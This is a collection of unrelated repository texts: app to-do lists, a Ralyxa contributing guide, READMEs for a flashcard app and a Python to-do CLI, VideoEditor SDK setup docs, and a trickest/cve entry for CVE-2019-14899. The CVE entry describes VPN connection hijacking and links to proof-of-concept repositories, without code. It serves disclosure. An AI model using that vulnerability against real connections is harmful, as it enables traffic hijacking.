+ Have links to Amazon packages for preparedness kits (Amazon Associates, https://affiliate-program.amazon.com/)
+ more frequent reminder to the user for a missing piece of the preparedness kit
+ Enable Google, Facebook, Twitter login
+ Implement an argon2 authentication protocol instead of bcrypt https://www.npmjs.com/package/argon2 (2 generations newer than bcrypt)

Potential resources:
Auth:
https://scotch.io/tutorials/easy-node-authentication-facebook
http://code.tutsplus.com/articles/social-authentication-for-nodejs-apps-with-passport--cms-21618

Timed Emails:
http://patrickdmccarthy.tumblr.com/post/104974896772/how-to-send-timed-emails-with-templates-from


text:
# Contributing to Ralyxa

1. Have tests.

## The basic idea

Ralyxa is in two parts:

1. The user-facing Ruby interface which looks a bit like Sinatra.
2. The under-the-hood Ruby-to-JSON translator which directly references Alexa structures.

This gives rise to some principles:

1. The user-facing Ruby interface should try to provide thoughtful abstractions to the Alexa structures.
2. The under-the-hood Ruby-to-JSON translator should contain objects which directly map onto Alexa structures.

Some other principles:

1. Keep the user-facing Ruby interface as simple as possible. Imagine a brand-new Ruby developer using this.

repository: macbury/ralyxa

repo_name: macbury/ralyxa


text:
### [CVE-2019-14899](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14899)
![](https://img.shields.io/static/v1?label=Product&message=VPN&color=blue)
![](https://img.shields.io/static/v1?label=Version&message=%3D%20n%2Fa%20&color=brighgreen)
![](https://img.shields.io/static/v1?label=Vulnerability&message=CWE-300&color=brighgreen)

### Description

A vulnerability was discovered in Linux, FreeBSD, OpenBSD, MacOS, iOS, and Android that allows a malicious access point, or an adjacent user, to determine if a connected user is using a VPN, make positive inferences about the websites they are visiting, and determine the correct sequence and acknowledgement numbers in use, allowing the bad actor to inject data into the TCP stream. This provides everything that is needed for an attacker to hijack active connections inside the VPN tunnel.

### POC

#### Reference
No PoCs from references.

#### Github
- https://github.com/ARPSyndicate/cvemon
- https://github.com/Kicksecure/security-misc
- https://github.com/SailfishOS-sdm660/SailfishOS_Kernel_Defconfig
- https://github.com/Whonix/security-misc
- https://github.com/developer3000S/PoC-in-GitHub
- https://github.com/hectorgie/PoC-in-GitHub
- https://github.com/slingamn/namespaced-openvpn

repository: trickest/cve

repo_name: trickest/cve


text:
![](https://img.shields.io/badge/UI-SwiftUI-blue) ![](https://img.shields.io/badge/License-MIT-orange)  ![](https://img.shields.io/badge/Automation-Shortcuts-purple)
# JLQuizCard
![](http://www.jacklandrin.com/wp-content/uploads/2021/12/quiz_card_180.png)
## App Store
https://apps.apple.com/us/app/wallcard/id1601311095

## What is JLQuizCard?
**JLQuizCard** is little Anki card app developed with SwiftUI. You can swipe the card to shift questions, and edit your questions and answers. The flippable effect derives from an Apple watchkit sample, PopQuiz.

28.03.2021 Update:
Now, you can import batch card from CSV file (The head is **question, answer, example, group**). You also can divid cards into different groups. Beside, the card data could store in Core Data and sync among your devices by iCloud.

20.12.2012 Update:
* new UI
* You can set QuizCard as your wallpaper on lock screen via **Shortcuts**

The git address is <https://github.com/jacklandrin/JLQuizCard>
## Requirement
* iOS 14 *
* Swift 5.5
* Xcode 13

repository: jacklandrin/JLQuizCard

repo_name: jacklandrin/JLQuizCard


text:
# React Native module for VideoEditor SDK

Check out our [video tutorial](https://img.ly/blog/a-photo-and-video-editor-for-your-react-native-apps/) for a step-by-step integration guide which also details advanced SDK features, such as serializing and reusing previously applied editing operations.

## System requirements

- React Native: 0.60
- iOS: 13
- Android: 5 (SDK 21)

## Getting started

### Known Issues

With version `2.13.0`, we recommend using `compileSdkVersion` not lower than `31` for Android. However, this might interfere with your application's Android Gradle Plugin version if this is set to `4.x`.

If you don't use a newer Android Gradle Plugin version, e.g., by updating at least to RN 0.68.0, you'll most likely encounter a build error similar to:

```
FAILURE: Build failed with an exception.

* What went wrong:
A problem occurred configuring project ':react-native-videoeditorsdk'.
> com.android.builder.errors.EvalIssueException: Installed Build Tools revision 31.0.0 is corrupted. Remove and install again using the SDK Manager.

* Try:
Run with --stacktrace option to get the stack trace. Run with --info or --debug option to get more log output. Run with --scan to get full insights.

* Get more help at https://help.gradle.org
```

As a workaround you can create the following symlinks:

1. Inside `/Users/YOUR-USERNAME/Library/Android/sdk/build-tools/31.0.0/`: Create a `dx` symlink for the `d8` file with `ln -s d8 dx`.
2. From there, go to `./lib/` and create a `dx.jar` symlink for the `d8.jar` file with `ln -s d8.jar dx.jar`.

### Expo CLI

#### Limitations

This module can **not** be used in the `Expo Go` application because it uses custom native libraries.

#### Usage

In order to use this module with the Expo CLI you can make use of our integrated Expo config plugin:

1. Add our module to your Expo application:

   ```sh
   expo install react-native-videoeditorsdk
   ```

   This will automatically install [`react-native-imglysdk`](https://npmjs.org/package/react-native-imglysdk) which you can use to configure your application with our Expo config plugin.

2. Inside your app's `app.json` or `app.config.js` add our config plugin:

   ```json
   {
     "plugins": ["react-native-imglysdk"]
   }
   ```

   If needed, you can also use a specific version of our native library for Android as well as define explicitly the included modules. By default, all modules for both PhotoEditor SDK and VideoEditor SDK are included. Furthermore, you can configure the `buildToolsVersion`, `minSdkVersion`, `compileSdkVersion`, `targetSdkVersion`, and `kotlinGradlePluginVersion`.

   ```json
   {
     "plugins": [
       [
         "react-native-imglysdk",
         {
           "android": {
             "version": "10.4.1",
             "modules": [
               "ui:core",
               "ui:transform",
               "ui:filter",
               "assets:filter-basic"
             ],
             "buildToolsVersion": "31.0.0",
             "minSdkVersion": "21",
             "compileSdkVersion": "31",
             "targetSdkVersion": "30",
             "kotlinGradlePluginVersion": "1.5.32"
           }
         }
       ]
     ]
   }
   ```

   For further information on the available modules, please refer to step 4 of the React Native CLI [Android](#android) guide below.

   **Please note that the `react-native-imglysdk` module manages both VideoEditor SDK as well as PhotoEditor SDK so you only need to add the Expo config plugin once even when using both SDKs.**

3. From version `2.15.0` the iOS deployment target needs to be set to at least iOS 13. You can use the `expo-build-properties` config plugin for this. Please refer to the [official Expo docs](https://docs.expo.dev/versions/v45.0.0/sdk/build-properties/).

4. The changes will be applied on `expo prebuild` or during the prebuild phase of `eas build`.

For further information on how to integrate Expo config plugins please also refer to the official [docs](https://docs.expo.dev/guides/config-plugins/#using-a-plugin-in-your-app).

### React Native CLI

Install the React Native module in your project as follows:

```sh
yarn add react-native-videoeditorsdk
```

In general, [we highly recommend using React Native 0.60 or newer](https://img.ly/blog/react-native-native-modules-made-for-react-developers-59ca93c41541/). If you cannot avoid using an older React Native version you need to [link the native dependencies](https://facebook.github.io/react-native/docs/0.59/linking-libraries-ios#step-2) with:

```sh
yarn react-native link
```

before you continue with the platform-specific guides below.

#### iOS

For React Native 0.60 and above [autolinking](https://github.com/react-native-community/cli/blob/master/docs/autolinking.md) is used and VideoEditor SDK for iOS should be automatically installed:

```sh
cd ios && pod install && cd ..
```

and updated:

```sh
cd ios && pod update && cd ..
```

with CocoaPods.

For older React Native versions autolinking is not available and VideoEditor SDK for iOS needs to be [manually integrated](https://img.ly/docs/vesdk/ios/introduction/getting_started/#manually) in your Xcode project if you don't use [CocoaPods to manage your dependencies](https://facebook.github.io/react-native/docs/0.59/integration-with-existing-apps#configuring-cocoapods-dependencies). Make sure to put `ImglyKit.framework` and `VideoEditorSDK.framework` in the `ios/` directory of your project.

#### Android

1. Add the img.ly repository and plugin by opening the `android/build.gradle` file (**not** `android/app/build.gradle`) and adding these lines at the top:

   ```groovy
   buildscript {
       repositories {
           mavenCentral()
           maven { url "https://artifactory.img.ly/artifactory/imgly" }
       }
       dependencies {
           classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:1.5.32"
           classpath 'ly.img.android.sdk:plugin:10.4.1'
       }
   }
   ```

   In order to update VideoEditor SDK for Android replace the version string `10.4.1` with a [newer release](https://github.com/imgly/vesdk-android-demo/releases).

2. Still in the `android/build.gradle` file (**not** `android/app/build.gradle`), add these lines at the bottom:

   ```groovy
   allprojects {
       repositories {
           maven { url 'https://artifactory.img.ly/artifactory/imgly' }
       }
   }
   ```

3. In the same file, you will need to modify the `minSdkVersion` to at least `21`. We also recommend to update the `buildToolsVersion` to `31.0.0` or higher as well as the `compileSdkVersion` to `31` or higher:

   ```diff
   buildscript {
       ext {
   -       buildToolsVersion = "30.0.2"
   +       buildToolsVersion = "31.0.0"
   -       minSdkVersion = 19
   +       minSdkVersion = 21
   -       compileSdkVersion = 30
   +       compileSdkVersion = 31
           targetSdkVersion = 30
       }
   }
   ```

4. Configure VideoEditor SDK for Android by opening the `android/app/build.gradle` file (**not** `android/build.gradle`) and adding the following lines under `apply plugin: "com.android.application"`:

   ```groovy
   apply plugin: 'ly.img.android.sdk'
   apply plugin: 'kotlin-android'

   // Comment out the modules you don't need, to save size.
   imglyConfig {
       modules {
           include 'ui:text'
           include 'ui:focus'
           include 'ui:frame'
           include 'ui:brush'
           include 'ui:filter'
           include 'ui:sticker'
           include 'ui:overlay'
           include 'ui:transform'
           include 'ui:adjustment'
           include 'ui:text-design'
           include 'ui:video-trim'
           include 'ui:video-library'
           include 'ui:video-composition'
           include 'ui:audio-composition'
           include 'ui:giphy-sticker'

           // This module is big, remove the serializer if you don't need that feature.
           include 'backend:serializer'

           // Remove the asset packs you don't need, these are also big in size.
           include 'assets:font-basic'
           include 'assets:frame-basic'
           include 'assets:filter-basic'
           include 'assets:overlay-basic'
           include 'assets:sticker-shapes'
           include 'assets:sticker-emoticons'
           include 'assets:sticker-animated'

           include 'backend:sticker-animated'
           include 'backend:sticker-smart'
           include 'backend:background-removal'
       }
   }
   ```

### Usage

Import the module in your `App.js`:

```js
import {
  VESDK,
  VideoEditorModal,
  Configuration,
} from "react-native-videoeditorsdk";
```

Each platform requires a separate license file. [Unlock VideoEditor SDK](./index.d.ts#L41-L53) automatically for both platforms with a single line of code via [platform-specific file extensions](https://reactnative.dev/docs/platform-specific-code#platform-specific-extensions):

```js
VESDK.unlockWithLicense(require("./vesdk_license"));
```

Open the editor with a video:

```js
VESDK.openEditor(require("./video.mp4"));
```

Or use the component to open the editor:

```jsx
<VideoEditorModal visible={true} video={require("./video.mp4")} />
```

Please see the [code documentation](./index.d.ts) for more details and additional [customization and configuration options](./configuration.ts).

For configuring and customizing VideoEditor SDK beyond these options exposed to JavaScript the iOS bridge provides an [interface for native customization](./ios/RNVideoEditorSDK.h). Please refer to [our documentation](https://img.ly/docs/vesdk?utm_campaign=Projects&utm_source=Github&utm_medium=VESDK&utm_content=React-Native) for more details on native customization.

## Example

Please see our [example project](https://github.com/imgly/vesdk-react-native-demo) which demonstrates how to use the React Native module for VideoEditor SDK.

## License Terms

Make sure you have a [commercial license](https://img.ly/pricing?product=vesdk&?utm_campaign=Projects&utm_source=Github&utm_medium=VESDK&utm_content=React-Native) for VideoEditor SDK before releasing your app.
A commercial license is required for any app or service that has any form of monetization: This includes free apps with in-app purchases or ad supported applications. Please contact us if you want to purchase the commercial license.

## Support and License

Use our [service desk](https://support.img.ly) for bug reports or support requests. To request a commercial license, please use the [license request form](https://img.ly/pricing?product=vesdk&?utm_campaign=Projects&utm_source=Github&utm_medium=VESDK&utm_content=React-Native) on our website.

repository: imgly/vesdk-react-native

gha_language: TypeScript

gha_license_id: NOASSERTION

repo_name: imgly/vesdk-react-native


text:
# Ace_todolist

This is TODO APPLICATION & Python CLI application

## Installation

you can install Ace_todolist using pip

```
pip install Ace_todolist
```

## Precautions

#### first

```
pip list
```

If you confirm the list of pip, the application may be named `Ace-todolist`.

Sorry, but if you run the application, please `Ace_todolist` not `Ace-todolist`.

#### second

We miss coding the path of db. (The db name is ace.db)

Sorry, it will be fixed soon.

## User Guide

```
$ Ace_todolist

Hello!, This is ACE TODO APPLICATION
If you want to run action of ACE, confirm options(-h or --help)

```

If you want to run action of Ace_todolist, confirm options(-h or --help)

```
$ Ace_todolist --help

usage: Ace_todolist [-h] [--add] [--list] [--edit] [--stat] [--search]
                    [--detail] [--remove] [--version]

optional arguments:
  -h, --help  show this help message and exit
  --add       add item
  --list      print list of items
     a         print all list
     f         print finished and unfinished list separately
  --sort      sort the list of items (must be used with --list)
     t, T      sort by Title
     c, C      sort by Category
     p, P      sort by Priority
     d, D      sort by Due
               * Lowercase letter sort by ascending, and uppercase do by descending
  --edit      edit item implemented by option
     title
     category
     due
     priority
     fin
     place
     comment
  --stat      stats of database
  --search    search item that you want to find
     i         by ID
     t         by Title
     c         by Category
     d         by Due
  --detail    print details of items that you want to see
  --remove    remove item that you want to remove
  --version   show program's version number and exit
```

gha_language: Python